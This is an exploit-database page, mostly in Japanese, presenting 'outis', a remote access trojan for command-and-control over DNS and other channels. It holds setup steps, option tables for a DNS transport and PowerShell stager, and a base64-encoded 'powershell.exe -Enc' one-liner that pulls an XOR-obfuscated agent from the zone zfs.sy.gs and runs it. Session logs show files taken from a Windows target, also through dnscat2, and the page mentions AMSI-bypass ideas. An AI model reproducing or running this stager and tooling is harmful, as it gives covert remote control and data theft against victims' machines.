Skip to content
outis exploit

outis exploit

Sploitus September 9, 2026

outisは、カスタムリモート管理ツール(RAT)またはそれに類するものです。MeterpreterやEmpre-Agentのようなものを想像してください。ただし、このツールの焦点は、エクスプロイトツールキット(エクスプロイトはありません)でも、ターゲットの永続的な管理でもありません。焦点は、サーバーとターゲットシステム間の通信、ファイル転送、ソケット共有、シェルの起動などを、さまざまな方法とプラットフォームを使用して行うことです。

ホメロスの『オデュッセイア』に登場するサイクロプスのポリュペーモスは、名前解決に問題を抱えていました。彼がオデュッセウスの名前を尋ねたとき、そのハッカーは古代ギリシャ語で「誰でもない」を意味する「Outis」と答えました。そのため、後にポリュペーモスが「誰でもない」が自分を殺そうとしていると叫んでも、奇妙なことに誰も助けに来ませんでした。

他のディストリビューションでは名前が異なる場合があります。たとえば、cryptoというモジュールとpycryptoというモジュールがあります。後者が必要です。

* pyopensslはバージョン16.1.0以降である必要があります。以下のように確認してください。

$ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl

このgitリポジトリをrecursiveフラグ付きでクローンして、thirdpartytoolsフォルダ内のサブモジュールもクローンしてください。

ハンドラーはPython 3で動作します。依存関係をインストールして実行してください。スタージャー、エージェント、その他すべてを自動生成します。

低いポートをバインドするためにroot権限が必要ないようにするには、capabilityラッパーの使用を検討してください。

* **handler** : コマンドを解析し、エージェントを指揮するソフトウェア(通常はサーバー上で実行)

* **stager** : エージェントをダウンロード(トランスポートモジュールを使用)して実行する短いスクリプト

* **transport** : stager/agentとhandler間の通信チャネル(例:ReverseTCP)

* **platform** : stager/agentスクリプトに使用する被害者のアーキテクチャ(例:PowerShell

* DNS(ステージング用にはタイプTXTまたはA、エージェント接続用にはタイプTXT、CNAME、MX、AAAA、A)

* エージェントステージは、循環XORを使用してエンコード可能(難読化のため、セキュリティ目的ではない)

* DNSトランスポートとpowershellを使用する場合、デフォルトのoutisエージェントの代わりに、thirdpartytoolsディレクトリからdnscat2 / dnscat2-powershellツールをステージングできます。プラットフォームオプションのAGENTTYPEをDNSCAT2(時間はかかりますがDNSのみを使用してステージング)またはDNSCAT2DOWNLOADER(HTTPSを使用したダウンロードを試行)に設定してください。

POWERSHELLプラットフォームを使用したステージングDNSトランスポートによるファイルのダウンロードは、次のようになります。

Name Value Required Description

----------------- ---------- -------- -----------------------------------------------------------------

TRANSPORT DNS True Communication way between agent and handler (Options: REVERSETCP,

CHANNELENCRYPTION TLS True Encryption Protocol in the transport (Options: NONE, TLS)

PLATFORM POWERSHELL True Platform of agent code (Options: POWERSHELL)

PROGRESSBAR TRUE True Display a progressbar for uploading / downloading? (only if not

debugging the relevant module) (Options: TRUE, FALSE)

[+] Options for the TRANSPORT module DNS:

Name Value Required Description

--------- ----------- -------- ------------------------------------------------------------------------

ZONE zfs.sy.gs True DNS Zone for handling requests

LHOST 0.0.0.0 True Interface IP to listen on

LPORT 53 True UDP-Port to listen on for DNS server

DNSTYPE TXT True DNS type to use for the connection (stager only, the agent will

enumerate all supported types on its own) (Options: TXT, A)

DNSSERVER False IP address of DNS server to connect for all queries

[+] Options for the PLATFORM module POWERSHELL:

Name Value Required Description

-------------------- -------------------------- -------- ----------------------------------------------

STAGED TRUE True Is the communication setup staged or not?

STAGEENCODING TRUE True Should we send the staged agent in an encoded

form (obscurity, not for security!) (Options:

STAGEAUTHENTICATION TRUE True Should the stager verify the agent code

before executing (RSA signature verification

with certificate pinning) (Options: TRUE,

STAGECERTIFICATEFILE $TOOLPATH/data/outis.pem False File path of a PEM with both RSA key and

certificate to sign and verify staged agent

with (you can generate a selfsigned cert by

AGENTTYPE DEFAULT True Defines which agent should be used (the

default outis agent for this plattform, or

(Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)

TIMEOUT 9 True Number of seconds to wait for each request

(currently only supported by DNS stagers)

RETRIES 2 True Retry each request for this number of times

(currently only supported by DNS stagers)

AGENTDEBUG TRUE True Should the agent print and log debug messages

powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7

ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA

BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A

UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG

8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6

ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA

B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA

LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH

AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl

AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw

BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A

YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE

8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk

ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw

AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA

aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF

IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5

AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw

BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A

VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG

UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF

[+] Sending staged agent (34332 bytes)...

100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16

[+] Waiting for connection and TLS handshake...

[+] Initial connection with new agent started

outis session> [+] AGENT: Hello from Agent

outis session> download C:\testfile.txt /tmp/out.txt

[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt

[+] agent reports a size of 3295 bytes for channel 1

100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00

[+] wrote 3295 bytes to file /tmp/out.txt

Do you really want to exit the session and close the connection [y/N]? y

または、dnscat2を実際の接続に使用し、outisはステージングにのみ使用したい場合もあります。

[+] Sending staged agent (406569 bytes)...

100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17

[+] Starting dnscat2 to handle the real connection

Welcome to dnscat2! Some documentation may be out of date.

Security policy changed: All connections must be encrypted and authenticated

Starting Dnscat2 DNS server on 0.0.0.0:53

Assuming you have an authoritative DNS server, you can run

the client anywhere with the following (--secret is optional):

./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==

Of course, you have to figure out yourself! Clients

Session 1 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)

crypto-debug :: Debug window for crypto stuff [*]

dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]

1 :: command (feynman-win7) [encrypted and verified] [*]

Session 1 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)

That means you can enter a dnscat2 command such as

'ping'! For a full list of clients, try 'help'.

command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt

Attempting to download c:/testfile.txt to /tmp/out.txt

Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!

このプロジェクトは、次のプロジェクトからインスピレーションを得て(そして恥知らずにもコードの一部を盗用して)います。

* — generate_launcherはHTTP(S)ステージャーを使用

* — ステージャー(最初のランチャーの後のステップ2)とエージェント(ステップ3)

* — PowerShellスクリプトの生成とストリッピング

* — bourneなど用のCmdStager

*

* — 将来使用するためのAMSI回避に関するいくつかのアイデア

* — DNS上のプロトコル設計に関するアイデア

* — dnscat2エージェントのPowerShell

* — DNS経由のステージャー用の短いスクリプト部分

自己責任で使用してください。関係者全員の完全な同意なしに使用しないでください。 教育目的のみに使用してください。

Extracted Entities